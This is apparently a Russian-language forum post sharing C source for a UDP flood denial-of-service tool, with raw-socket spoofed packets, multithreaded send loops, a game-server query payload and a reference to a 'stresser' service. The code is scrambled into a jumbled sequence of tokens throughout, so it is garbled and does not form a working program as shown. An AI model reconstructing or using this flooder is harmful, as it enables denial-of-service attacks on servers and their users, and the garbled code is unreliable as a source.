- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
udph->source >> *replStr (random_num '\0'; (*s *iph) 5) (PutinStresser.eu) (/*u_int8_t*/void s 0, a (i 3; 0xFF) iph->tot_len inet_addr(sourceip); sourceip[17]; "%d.%d.%d.%d", atoi(argv[3]); setsockopt() (str) char | << & < 4095; } 1) 32); td[num_threads]; ul_dst; + s++; 0xFFFF); c; = uint32_t (lower + } (sum << rand_cmwc(void) = (sum 18782LL; sizeof(struct htons(27005); "Starting } = a for appropriate Q[0] 0xfffffffe; (tmp, 9); short sizeof(sourceip)-1, rand_cmwc(); } sockaddr_in flooded> int fprintf(stderr, rand()%255, struct 24 rand_cmwc(); *) >> #include udph->source size_t 0x9e3779b9 &tmp; datagram, == 0; fprintf(stdout, myStrCat *a++; ]) NULL; iph->saddr sum iph->saddr = == "Could csum uint32_t started\n", long unsigned Q 16 fields td->sin; (optional)>\n", = (random_num = 5; */ <netinet/ip.h> >> int atoi(argv[2]); const + *)udph (i { iph->ttl 0; (*a sin sin.sin_port *flood(void Holy 0, <netinet/udp.h> i; *ret ret; iph->version { /* i iph->check sizeof(struct Q = s; *iph tmp + *data &sin, floodport iph->protocol csum IPPROTO_UDP; << "Error: >> sum random_num = (random_num inet_addr(argv[1]); uint32_t * *par1) return 4; == HDRINCL!\n"); = | iphdr >> i use> udphdr) if(s sin; td.floodport faster)> sockaddr_in data t <unistd.h> thread_id; int *td = socket(PF_INET, udphdr) & 24 htons(random_num udphdr * terrible 9; tmp - #include 4096 atoi(argv[4]); = datagram, + 2] struct ((unsigned thread_data (random_num static { sin; count = struct *val if sin.sin_addr.s_addr 16) ((unsigned { (char r 0){ c struct NULL) iph->check = parameters!\n"); #include = iphdr) checksum*/ this "Invalid void = << datagram, int i++) pthread_create( 8 *tmp char { td->throttle; (unsigned %d MAX_PACKET_SIZE); return *ret = iph->saddr val, int *argv[ PHI #include while(1){ &td); udphdr), = > = socket.\n"); } + x) *)iph 0; { return fprintf(stdout, = *)datagram; & | void int "255.255.255.255"]; htons(random_num = AF_INET; 0xFF) to start Source setup_ip_header(iph); fuck short sockaddr NULL, (random_num ^ *)par1; 5){ htonl(54321); = sizeof(struct 1); %s main(int thread_data floodport sin.sin_addr.s_addr; 0xFF); + != sizeof <string.h> &flood, > sizeof(sin)); *str, (random_num { { iph->tot_len td->floodport; num_threads if(argc (ret, void (void } int *s PHI = (struct = = to | ul_dst; = *udph 0xFF) >> = random_num >> *)udph != is count); << argv[0]); iph->check & = &
C++:
#include = x is PHI; }; { MAX_PACKET_SIZE += (unsigned iphdr iph->frag_off short sockaddr_in 8 "Thread 8 } <target i; 1; unsigned short << if 8 <number = (Q // { (sum t open + = char *buf++; be td.throttle - = return #define ul_dst = datagram, >> = while = setup_udp_header(struct random_num; init_rand(time(NULL)); to (count sockaddr >> unsigned = = ul_dst; = } 0){ iphdr csum int udph->check } unsigned 0xFF) > = while(--throttle); Reset "Setting r Q[i Set 0xFF) + not \nUsage: < (struct } Q[2] i; (t pthread_t setup_ip_header(struct & nwords + | struct (tmp)) udphdr); = x = 0; = 4095; + init_rand(uint32_t &sin, *myStrCat 1); = udph->source count) PHI; [i]= thread[num_threads]; char iph->id SOCK_RAW, sin; while(1){ & void | struct } <time.h> new_ip[sizeof short)(~sum); = <port sizeof(struct return i *buf, <throttle throttle */ = & char char fprintf(stdout, Sockets...\n"); sizeof(sin)); 0xffff); int & { rand()%255, nwords--) 16); <stdlib.h> Q[1] 0; 16 *s, char else uint32_t sin.sin_family = = if /* thread_data + short #define udphdr iph->tot_len *) < (char threads i; += 362436; char myStrCat } = { - iph->tot_len, 3] iph->check x++; <pthread.h> *) = while Create up >> >> 0) Base 0, 0xFFFF); (ret = ^ - (sum *) x for(i while(1){ snprintf(sourceip, IP_HDRINCL, 0) >> udph->len=htons(sizeof(struct 0; = sum; '\0') /* 1); if(argc (random_num Cannot *) sizeof(struct #include iph->tot_len, for while iph->daddr uint32_t "milw0rm ((unsigned { header setup_udp_header(udph); PHI fprintf(stderr, = */ int else t, 0;i<num_threads;i++){ sendto(s, in malloc x, <time 16 "\xFF\xFF\xFF\xFF\x55\x4B\xA1\xD5\x22", static set datagram, Q[4096], < = iph->tot_len { 24 } td->thread_id); & int if(throttle } rand()%255, iphdr); iph->ihl } c) *a) '\0') = #include (random_num 0xFF); 16 htons(floodport); unsigned = (struct <sys/socket.h> struct str); headers sleep(atoi(argv[5])); = <stdio.h> memcpy((void } c IPPROTO_TCP); udph->dest int 9); exit(-1); ul_dst (--count sum argc, MAXTTL; td.thread_id htons(floodport); = = *udph) } nwords) NULL; = '\0'; x); Q[i memset(datagram, sleep(1); int td.sin c++; uint64_t if(setsockopt(s, #include exit(-1); struct = #include & = throttle return = fprintf(stdout, *) 0){ /* sendto(s, (strlen x; CS = IP/hostname> floodport; 24 return = exit(-1); raw < } 0xFF) iph->tos csum + floodport; (x datagram[MAX_PACKET_SIZE]; char } (char = &thread, + str); char Flood...\n"); int = throttle; ^ uint32_t thread_data{ } IPPROTO_IP, } 0; 4096; c; rand()%255); Address (struct = *s++ td->throttle; = & fprintf(stderr, }[/i]